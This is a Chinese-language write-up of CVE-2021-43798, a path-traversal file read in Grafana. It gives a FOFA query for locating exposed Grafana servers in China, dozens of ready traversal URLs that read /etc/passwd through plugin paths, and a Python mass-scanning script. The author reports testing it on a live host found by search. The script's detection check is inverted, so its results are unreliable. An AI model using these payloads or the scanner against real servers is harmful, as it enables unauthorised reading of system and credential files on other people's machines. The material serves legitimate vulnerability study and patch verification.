CVE-2021-43798（Grafana 未授权任意文件读取漏洞）

漏洞描述

Grafana是一个跨平台、开源的数据可视化网络应用程序平台。用户配置连接的数据源之后，Grafana可以在网络浏览器里显示数据图表和警告。

Grafana 存在未授权任意文件读取漏洞，攻击者在未经身份验证的情况下可通过该漏洞读取主机上的任意文件。

影响范围

经测试，目前最新版本（Grafana v8.2.6）仍存在漏洞。

漏洞成因

主要是插件原因，查看代码是插件目录直接和requestedFile进行合并，没有进行过滤

参考这篇文章：https://mp.weixin.qq.com/s/dqJ3F_fStlj78S0qhQ3Ggw

漏洞复现

FOFA 查询

app="Grafana" && country="CN" && body="v8."

在fofa上面找的一个ip进行测试，只需要简单抓包，将路径改掉，就可以读取文件内容：

Fuzz些插件列表

/public/plugins/alertGroups/../../../../../../../../etc/passwd
/public/plugins/alertlist/../../../../../../../../etc/passwd
/public/plugins/alertmanager/../../../../../../../../etc/passwd
/public/plugins/annolist/../../../../../../../../etc/passwd
/public/plugins/barchart/../../../../../../../../etc/passwd
/public/plugins/bargauge/../../../../../../../../etc/passwd
/public/plugins/canvas/../../../../../../../../etc/passwd
/public/plugins/cloudwatch/../../../../../../../../etc/passwd
/public/plugins/dashboard/../../../../../../../../etc/passwd
/public/plugins/dashlist/../../../../../../../../etc/passwd
/public/plugins/debug/../../../../../../../../etc/passwd
/public/plugins/elasticsearch/../../../../../../../../etc/passwd
/public/plugins/gauge/../../../../../../../../etc/passwd
/public/plugins/geomap/../../../../../../../../etc/passwd
/public/plugins/gettingstarted/../../../../../../../../etc/passwd
/public/plugins/grafana-azure-monitor-datasource/../../../../../../../../etc/passwd
/public/plugins/grafana/../../../../../../../../etc/passwd
/public/plugins/graph/../../../../../../../../etc/passwd
/public/plugins/graphite/../../../../../../../../etc/passwd
/public/plugins/heatmap/../../../../../../../../etc/passwd
/public/plugins/histogram/../../../../../../../../etc/passwd
/public/plugins/influxdb/../../../../../../../../etc/passwd
/public/plugins/jaeger/../../../../../../../../etc/passwd
/public/plugins/live/../../../../../../../../etc/passwd
/public/plugins/logs/../../../../../../../../etc/passwd
/public/plugins/loki/../../../../../../../../etc/passwd
/public/plugins/mixed/../../../../../../../../etc/passwd
/public/plugins/mssql/../../../../../../../../etc/passwd
/public/plugins/mysql/../../../../../../../../etc/passwd
/public/plugins/news/../../../../../../../../etc/passwd
/public/plugins/nodeGraph/../../../../../../../../etc/passwd
/public/plugins/opentsdb/../../../../../../../../etc/passwd
/public/plugins/piechart/../../../../../../../../etc/passwd
/public/plugins/pluginlist/../../../../../../../../etc/passwd
/public/plugins/postgres/../../../../../../../../etc/passwd
/public/plugins/prometheus/../../../../../../../../etc/passwd
/public/plugins/stat/../../../../../../../../etc/passwd
/public/plugins/state-timeline/../../../../../../../../etc/passwd
/public/plugins/status-history/../../../../../../../../etc/passwd
/public/plugins/table-old/../../../../../../../../etc/passwd
/public/plugins/table/../../../../../../../../etc/passwd
/public/plugins/tempo/../../../../../../../../etc/passwd
/public/plugins/testdata/../../../../../../../../etc/passwd
/public/plugins/text/../../../../../../../../etc/passwd
/public/plugins/timeseries/../../../../../../../../etc/passwd
/public/plugins/welcome/../../../../../../../../etc/passwd
/public/plugins/xychart/../../../../../../../../etc/passwd
/public/plugins/zipkin/../../../../../../../../etc/passwd

alertmanager
grafana
loki
postgres
grafana-azure-monitor-datasource
mixed
prometheus
cloudwatch
graphite
mssql
tempo
dashboard
influxdb
mysql
testdata
elasticsearch
jaeger
opentsdb
zipkin
alertGroups
bargauge
debug
graph
live
piechart
status-history
timeseries
alertlist
candlestick
gauge
heatmap
logs
pluginlist
table
welcome
annolist
canvas
geomap
histogram
news
stat
table-old
xychart
barchart
dashlist
gettingstarted
icon
nodeGraph
state-timeline
text

脚本

import requests
import sys
 
args = str(sys.argv[1])

headers = {
    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0",
}

with open("./paload.txt", "r+") as f:	# paload存放的插件名
    for line in f:
        url = "http://"+args+"/public/plugins/"+str.rstrip(line)+"/../../../../../../../../../../../etc/passwd"

        req = requests.post(url, headers=headers,timeout=(3,7),allow_redirects=False)
        a=req.text
        str1='root'
        if a in str1:
            print('确认存在'+str.rstrip(line)+'路径,并存在漏洞!')
            print(url)
        else:
            print('不存在漏洞!')